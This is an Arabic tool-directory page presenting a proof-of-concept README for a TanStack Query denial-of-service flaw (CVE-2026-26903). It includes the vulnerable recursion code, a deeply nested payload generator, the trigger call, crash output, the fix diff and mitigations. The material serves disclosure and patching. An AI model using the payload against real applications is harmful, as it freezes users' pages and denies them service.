Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-26903-PoC — إثبات مفهوم (PoC) لعرض CVE-2026-26903 | Kitploit
أدوات/GitHubGitHub/john-jung/cve-2026-26903-poc
تحليل الثغرات الأمنيةالاستغلالأمن الويبالأوراق والأبحاثالتعلم والتعليم
GitHubjohn-jung/cve-2026-26903-poc

CVE-2026-26903-PoC

إثبات مفهوم (PoC) لعرض CVE-2026-26903

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-26903 PoC

رفض الخدمة عبر العودية غير المحدودة في دالة replaceEqualDeep في TanStack Query

يمكن لتحديث استعلام واحد مصمم بعناية يحتوي على كائنات متداخلة بعمق أن يجمد خيط JavaScript إلى أجل غير مسمى، مما يسبب عدم استجابة كاملة للتطبيق. لا يلزم أي مصادقة أو صلاحيات خاصة.

الإصدارات المتأثرة

تم إصلاح هذه الثغرة في @tanstack/[email protected] عبر PR #10032، الذي نُشر في 14 يناير 2026.

الحزمةالإصدار المتأثرالإصدار المُصلَح
@tanstack/query-core<= 5.90.165.90.17
@tanstack/react-queryيعتمد على query-core المتأثر5.90.18+
@tanstack/vue-queryيعتمد على query-core المتأثر5.90.18+
@tanstack/solid-queryيعتمد على query-core المتأثر5.90.18+
@tanstack/svelte-queryيعتمد على query-core المتأثر6.1.7+

الوصف الرسمي

CVE-2026-26903: رفض الخدمة عبر العودية غير المحدودة في replaceEqualDeep (الخطورة: متوسطة)

تعمل دالة replaceEqualDeep في TanStack Query على مقارنة متكررة للكائنات المتداخلة دون حدود للعمق. عند معالجة هياكل بيانات متداخلة بعمق، يمكن أن يؤدي ذلك إلى عودية غير محدودة تتسبب في تجاوز سعة مكدس الاستدعاءات وتجميد التطبيق.

— مُسند عبر MITRE

ملخص الثغرة

تُستخدم دالة replaceEqualDeep في TanStack Query داخليًا لتحديد ما إذا كانت بيانات الاستعلام قد تغيّرت فعليًا، مما يحسّن عمليات إعادة العرض عن طريق الحفاظ على مراجع الكائنات عند الإمكان. تتنقل الدالة بشكل متكرر عبر خصائص الكائن لإجراء مقارنة عميقة للمساواة.

المشكلة

يفتقر التنفيذ العودي إلى حدود للعمق أو كشف للدورات:

root@kitploit:~
function replaceEqualDeep(a, b) {
  // ... type checks ...
  
  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];
    // ... shallow equality checks ...
    
    // VULNERABLE: Unbounded recursion here
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;
    // ...
  }
  return copy;
}

آلية الهجوم

  1. الزناد: أي تحديث استعلام يمر عبر replaceEqualDeep مع بيانات متداخلة بعمق
  2. الحمولة: كائنات متداخلة لأكثر من 5,000 مستوى
  3. الأثر: تجميد فوري لخيط JavaScript وعدم استجابة كاملة لواجهة المستخدم
  4. الاستمرارية: يبقى التطبيق مجمدًا حتى إعادة تحميل الصفحة

سطح الهجوم

  • مباشر: خطافات useQuery مع بيانات استجابة متداخلة
  • غير مباشر: setQueryData أو invalidateQueries أو أي عملية على ذاكرة التخزين المؤقت للاستعلامات
  • جانب العميل: لا حاجة لأي تدخل من الخادم — هجوم رفض خدمة (DoS) خالص من جانب العميل

هيكل المستودع

root@kitploit:~
CVE-2026-26903-PoC/
├── README.md                 # This file
├── LICENSE
├── poc.js                    # Node.js PoC (stack overflow crash)
└── tanstack-query-poc.html   # Browser PoC (interactive visual demo)

خطوات إعادة الإنتاج

1. الاستنساخ والإعداد

root@kitploit:~
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC

2. تشغيل PoC الخاص بـ Node.js (تعطل تجاوز سعة المكدس)

root@kitploit:~
node poc.js

3. الناتج المتوقع

root@kitploit:~
Testing replaceEqualDeep with deep nesting...

Depth: 100
  OK - 0ms

Depth: 1000
  OK - 1ms

Depth: 5000
  CRASH - Maximum call stack size exceeded

Depth: 10000
  CRASH - Maximum call stack size exceeded

4. تشغيل PoC في المتصفح (عرض مرئي تفاعلي)

root@kitploit:~
open tanstack-query-poc.html
  1. تحقق من استجابة التطبيق:
    • انقر على زر العداد
    • اكتب في حقل الإدخال
    • لاحظ عداد الوقت المباشر وهو يعدّ
  2. تشغيل هجوم DoS:
    • انقر على "TRIGGER DoS (10000 depth) - App Will Freeze"
    • النتيجة: يتوقف العداد، وتصبح الأزرار غير مستجيبة، وتتجمد الصفحة

اختبار تفصيلي

الخيار أ: عرض HTML مستقل (بدون تبعيات)

root@kitploit:~
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html

الخيار ب: تطبيق React (سيناريو واقعي)

root@kitploit:~
cd examples/react-app-poc
npm install
npm start
# Navigate to http://localhost:3000 and follow on-screen instructions

السلوك المتوقع

قبل الهجوم:

  • زر العداد يزيد العد
  • عداد الوقت المباشر يتحدث كل ثانية
  • حقل الإدخال يستجيب للكتابة
  • جميع تفاعلات الواجهة تعمل بشكل طبيعي

بعد الهجوم:

  • يتجمد العداد عند قيمته الحالية
  • يتوقف زر العداد عن الاستجابة
  • يصبح حقل الإدخال غير مستجيب
  • لا تظهر أي أخطاء في وحدة التحكم (الخيط محظور وليس متعطلًا)
  • الحل الوحيد: إعادة تحميل تبويب/نافذة المتصفح

كيفية عمل الاستغلال

يُنشئ إثبات المفهوم (PoC) كائنات متداخلة بعمق ويُطلق replaceEqualDeep لمعالجتها:

1. توليد الحمولة

root@kitploit:~
function generateDeep(depth) {
  let obj = { value: 'end' };
  for (let i = 0; i < depth; i++) {
    obj = { nested: obj };
  }
  return obj;
}

// Creates: { nested: { nested: { nested: ... { value: 'end' } } } }

2. إطلاق الهجوم

root@kitploit:~
const oldData = generateDeep(10000);  // 10,000 levels deep
const newData = generateDeep(10000);  // Different object, same structure

// This causes unbounded recursion:
replaceEqualDeep(oldData, newData);

3. سلسلة العودية

root@kitploit:~
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested)     // Level 1
    ├── replaceEqualDeep(obj1.nested.nested, ...)  // Level 2
        ├── replaceEqualDeep(...)                   // Level 3
            └── ... (continues for 10,000 levels)

تضيف كل استدعاء متكرر إطارًا جديدًا إلى المكدس حتى تُستنفد مكدس الاستدعاءات في محرك JavaScript، مما يجمد الخيط.

الكود المعرض للثغرة

الموقع: @tanstack/query-core/src/utils.ts (تقريبي)

root@kitploit:~
export function replaceEqualDeep(a, b) {
  if (a === b) {
    return a;
  }

  const array = isPlainArray(a) && isPlainArray(b);

  if (!array && !(isPlainObject(a) && isPlainObject(b))) {
    return b;
  }

  const aItems = array ? a : Object.keys(a);
  const aSize = aItems.length;
  const bItems = array ? b : Object.keys(b);
  const bSize = bItems.length;
  const copy = array ? new Array(bSize) : {};

  let equalItems = 0;

  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];

    if (a[key] === b[key]) {
      copy[key] = a[key];
      equalItems++;
      continue;
    }

    if (
      a[key] === null ||
      b[key] === null ||
      typeof a[key] !== 'object' ||
      typeof b[key] !== 'object'
    ) {
      copy[key] = b[key];
      continue;
    }

    // VULNERABLE: No depth limit or cycle detection
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;

    if (v === a[key]) {
      equalItems++;
    }
  }

  return aSize === bSize && equalItems === aSize ? a : copy;
}

التصحيح

يضيف هذا الإصلاح (المُطبَّق في TanStack Query commit 269351b) حدًا للعمق لمنع العودية غير المحدودة:

root@kitploit:~
- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
   if (a === b) {
     return a
   }
 
+  if (depth > 500) return b
+
   const array = isPlainArray(a) && isPlainArray(b)
 
   if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
   
   // ... middle section unchanged ...
   
-    const v = replaceEqualDeep(aItem, bItem)
+    const v = replaceEqualDeep(aItem, bItem, depth + 1)
     copy[key] = v
     if (v === aItem) equalItems++

التغييرات الرئيسية:

  1. إضافة معامل depth بقيمة افتراضية 0 لتتبع عمق العودية
  2. إضافة فحص حد العمق — يعيد b فورًا إذا كان depth > 500
  3. زيادة العمق في الاستدعاءات المتكررة — replaceEqualDeep(aItem, bItem, depth + 1)

يمنع هذا الإصلاح البسيط تجاوز سعة المكدس مع السماح بمستويات تداخل معقولة (500 مستوى أكثر من كافٍ لهياكل البيانات في العالم الحقيقي).

التخفيف

حلول مؤقتة

  1. تسوية البيانات المتداخلة بعمق قبل تمريرها إلى TanStack Query
  2. تنفيذ دوال مقارنة مخصصة مع حدود للعمق
  3. مراقبة تعقيد بيانات الاستعلام أثناء التطوير

الإصلاح الصحيح

قم بتنفيذ تحديد العمق في replaceEqualDeep:

root@kitploit:~
function replaceEqualDeep(a, b, depth = 0) {
  if (depth > MAX_DEPTH) return b; // Prevent deep recursion
  if (a === b) return a;
  
  // ... existing logic ...
  
  const v = replaceEqualDeep(a[key], b[key], depth + 1);
  
  // ... rest of function
}

أو استخدم الاجتياز التكراري بدلاً من العودية.

المراجع

  • استشارة أمان GitHub

إخلاء مسؤولية

تم تقديم إثبات المفهوم هذا لأغراض تعليمية واختبارات أمنية مصرح بها فقط. استخدمه بمسؤولية وفقط ضد تطبيقات تملكها أو لديك إذن صريح لاختبارها. المؤلفون غير مسؤولين عن أي إساءة استخدام لهذه المعلومات.

تنزيل الأداة